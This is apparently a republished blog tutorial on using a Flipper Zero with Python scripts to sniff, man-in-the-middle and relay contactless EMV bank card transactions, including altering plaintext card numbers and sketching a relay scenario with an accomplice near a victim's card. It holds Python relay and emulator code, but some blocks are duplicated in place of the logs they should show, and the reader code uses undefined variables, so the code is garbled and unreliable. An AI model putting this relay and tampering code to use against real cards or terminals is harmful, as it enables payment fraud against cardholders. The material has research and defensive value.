Home >Backend Development >Python Tutorial >Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks
In our previous post, we explored how the Flipper can function as both an NFC contactless card reader and an NFC card emulator. When we combine these two functionalities, a range of potential attack scenarios on card-reader transactions comes to light:
In this post, we will address these three questions in detail.
The diagram above (available in higher quality here) illustrates the setup we aim to establish for testing the various attacks described earlier.
Previously, we offloaded all the data processing logic to a Python script running outside the Flipper. This approach eliminates the need to update or upload new firmware whenever we want to make changes. However, a question arises: will this Python proxy introduce latency that could disrupt the communication and cause it to fail?
Before answering this question, let's take a look at the Python scripts we will use to set up this configuration.
In the previous blog post, we covered the two main components of this setup:
Now, it's simply a matter of linking the two together. What exactly are we talking about?
These requirements for the reader led to the creation of the abstract Reader class, described below. Additionally, we introduced a method to establish a connection with the reader.
class Reader(): def __init__(self): pass def connect(self): pass def field_off(self): pass def field_on(self): pass def process_apdu(self, data: bytes) -> bytes: pass
Next, we create a minimalist PCSCReader class below to interact with a PC/SC reader.
class PCSCReader(Reader): def __init__(self): pass def connect(self): available_readers = readers() if len(available_readers) == 0: print("No card reader avaible.") sys.exit(1) # We use the first detected reader reader = available_readers[0] print(f"Reader detected : {reader}") # Se connecter à la carte self.connection = reader.createConnection() self.connection.connect() def process_apdu(self, data: bytes) -> bytes: print(f"apdu cmd: {data.hex()}") self.connection.transmit(list(data)) resp = bytes(data + [sw1, sw2]) print(f"apdu resp: {resp.hex()}") return resp
Now, we can move on to the implementation of the card emulator, referred to as Emu, as shown below. It accepts an optional Reader object as a parameter. If provided, it establishes a connection with the reader.
class Emu(Iso14443ASession): def __init__(self, cid=0, nad=0, drv=None, block_size=16, process_function=None, reader=None): Iso14443ASession.__init__(self, cid, nad, drv, block_size) self._addCID = False self.drv = self._drv self.process_function = process_function self._pcb_block_number: int = 1 # Set to one for an ICC self._iblock_pcb_number = 1 self.iblock_resp_lst = [] self.reader = reader if self.reader: self.reader.connect()
Next, we define three methods to communicate events to the reader: turning the field off, turning the field on, and sending an APDU.
# class Emu(Iso14443ASession): def field_off(self): print("field off") if self.reader: self.reader.field_off() def field_on(self): print("field on") if self.reader: self.reader.field_on() def process_apdu(self, apdu): if self.reader: return self.reader.process_apdu(apdu) else: self.process_function(apdu)
Next, we improved the method responsible for managing card emulator command communication at the TPDU level. Notably, when a complete APDU command is received, the process_apdu method is called to forward it to the reader and retrieve the response from the actual card.
# class Emu(Iso14443ASession): def rblock_process(self, tpdu: Tpdu) -> Tuple[str, bool]: print("r block") if tpdu == "BA00BED9": rtpdu, crc = "BA00", True elif tpdu.pcb in [0xA2, 0xA3, 0xB2, 0xB3]: if len(self.iblock_resp_lst): rtpdu, crc = self.iblock_resp_lst.pop(0).hex(), True else: rtpdu = self.build_rblock(ack=True).hex() crc = True return rtpdu, crc def low_level_dispatcher(self): capdu = bytes() ats_sent = False iblock_resp_lst = [] while 1: r = fz.emu_get_cmd() rtpdu = None print(f"tpdu < {r}") if r == "off": self.field_off() elif r == "on": self.field_on() ats_sent = False else: tpdu = Tpdu(bytes.fromhex(r)) if (tpdu.tpdu[0] == 0xE0) and (ats_sent is False): rtpdu, crc = "0A788082022063CBA3A0", True ats_sent = True elif tpdu.r: rtpdu, crc = self.rblock_process(tpdu) elif tpdu.s: print("s block") # Deselect if len(tpdu._inf_field) == 0: rtpdu, crc = "C2E0B4", False # Otherwise, it is a WTX elif tpdu.i: print("i block") capdu += tpdu.inf if tpdu.is_chaining() is False: rapdu = self.process_function(capdu) capdu = bytes() self.iblock_resp_lst = self.chaining_iblock(data=rapdu) rtpdu, crc = self.iblock_resp_lst.pop(0).hex(), True print(f">>> rtdpu {rtpdu}\n") fz.emu_send_resp(bytes.fromhex(rtpdu), crc)
Finally, we implement the method used to initiate card emulation from the Flipper Zero.
# class Emu(Iso14443ASession): def run(self): self.drv.start_emulation() print("...go!") self.low_level_dispatcher()
The Python scripts are ready; now let's take a look at the hardware setup we will use to test them.
Below is our small replication of an attack environment. From left to right, we have:
Perfect, we now have all the necessary components to carry out the attacks! Let's fight!
We can first attempt sniffing, meaning the APDU commands/responses from the Flipper are forwarded to the card, without any modification.
This works perfectly and remains stable, with the Python code acting as an intermediary having no noticeable impact! If the Python proxy adds too much latency and the terminal starts whining about the card being too slow, we’ve got a fix for that. Something I haven’t gotten around to implementing (yet):
Below is an extract of a log.
class Reader(): def __init__(self): pass def connect(self): pass def field_off(self): pass def field_on(self): pass def process_apdu(self, data: bytes) -> bytes: pass
In fact,a card can have hundreds of different applications installed on it, each with its own unique AID. A terminal does not attempt to try them all one by one. This is why, in the contactless banking domain, there is a specific application present on all cards designed to indicate the banking applications available on the card. Its AID is 325041592e5359532e4444463031, which translates to ASCII as 2PAY.SYS.DDF01.
Later in the communication, we can see this application being called (as shown below). Therefore, the previous selection of the application with AID D2760000850101, as discussed earlier, seems unusual.
class PCSCReader(Reader): def __init__(self): pass def connect(self): available_readers = readers() if len(available_readers) == 0: print("No card reader avaible.") sys.exit(1) # We use the first detected reader reader = available_readers[0] print(f"Reader detected : {reader}") # Se connecter à la carte self.connection = reader.createConnection() self.connection.connect() def process_apdu(self, data: bytes) -> bytes: print(f"apdu cmd: {data.hex()}") self.connection.transmit(list(data)) resp = bytes(data + [sw1, sw2]) print(f"apdu resp: {resp.hex()}") return resp
When parsing the response, you can see that it indicates (among other details) the presence of an application with the AID A0000000041010, which corresponds to MasterCard.
Thus, the phone eventually selects this application.
Afterward, it retrieves various details from the card, including the Primary Account Number (PAN). The number displayed on the card matches the one shown on the terminal, confirming that our relay attack, which relies on simple sniffing, is successful!
Of course, tools like the Proxmark make sniffing much simpler, but why make it simple when you can make it complicated ;) ?
Now, let’s move on to the man-in-the-middle attack. This means we won’t just listen to the communication but actively alter it. One interesting use case could be modifying the card number, for instance, changing 5132 to 6132.
Referring back to the logs from our previous communication, we can see that these data are transmitted in plaintext. They are retrieved from the card using READ RECORD commands like 00B2010C00 and 00B2011400.
Since the data is unencrypted and lacks integrity protection, we can modify them as desired. To implement this, we simply update the process_apdu method in our PCSCReader class to handle the alteration.
class Emu(Iso14443ASession): def __init__(self, cid=0, nad=0, drv=None, block_size=16, process_function=None, reader=None): Iso14443ASession.__init__(self, cid, nad, drv, block_size) self._addCID = False self.drv = self._drv self.process_function = process_function self._pcb_block_number: int = 1 # Set to one for an ICC self._iblock_pcb_number = 1 self.iblock_resp_lst = [] self.reader = reader if self.reader: self.reader.connect()
And as shown in the image below, the application is completely unaware of the modification!
Why it works? The answer is in the image below describing the different communication layers:
We can also have some fun... Since I made the modifications hastily, I occasionally altered the data randomly. In one instance, as shown in the image below, this caused the application to display a massive block of characters for the card number, even though it’s supposed to be limited to 16 digits!
This opens up some interesting possibilities for fuzzing experiments.
As mentioned at the start of this blog post, a relay attack consists in intercepting and relays communication between two parties (e.g., an NFC card and a terminal) without altering it, tricking the terminal into believing it is communicating with the legitimate card in real time.
A hacker wants to make a payment on Terminal. He relay the terminal's communication to an accomplice near a victim, who then communicates with the victim's card without his knowledge.
The previous experiment demonstrated that this attack is feasible in a controlled environment, like a garage. However, in real-world scenarios, there are additional challenges to consider.
One of the primary countermeasures against relay attacks is measuring the timing of the communication, as the relay introduces noticeable delays. However, the older EMV protocol does not include commands to facilitate such timing checks.
We've reached the end of this blog post. I hope you enjoyed the content! The Python code and the modified Flipper Zero firmware are available on my GitHub.
https://github.com/gvinet/pynfcreader
https://github.com/gvinet/flipperzero-firmware
The above is the detailed content of Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks. For more information, please follow other related articles on the PHP Chinese website!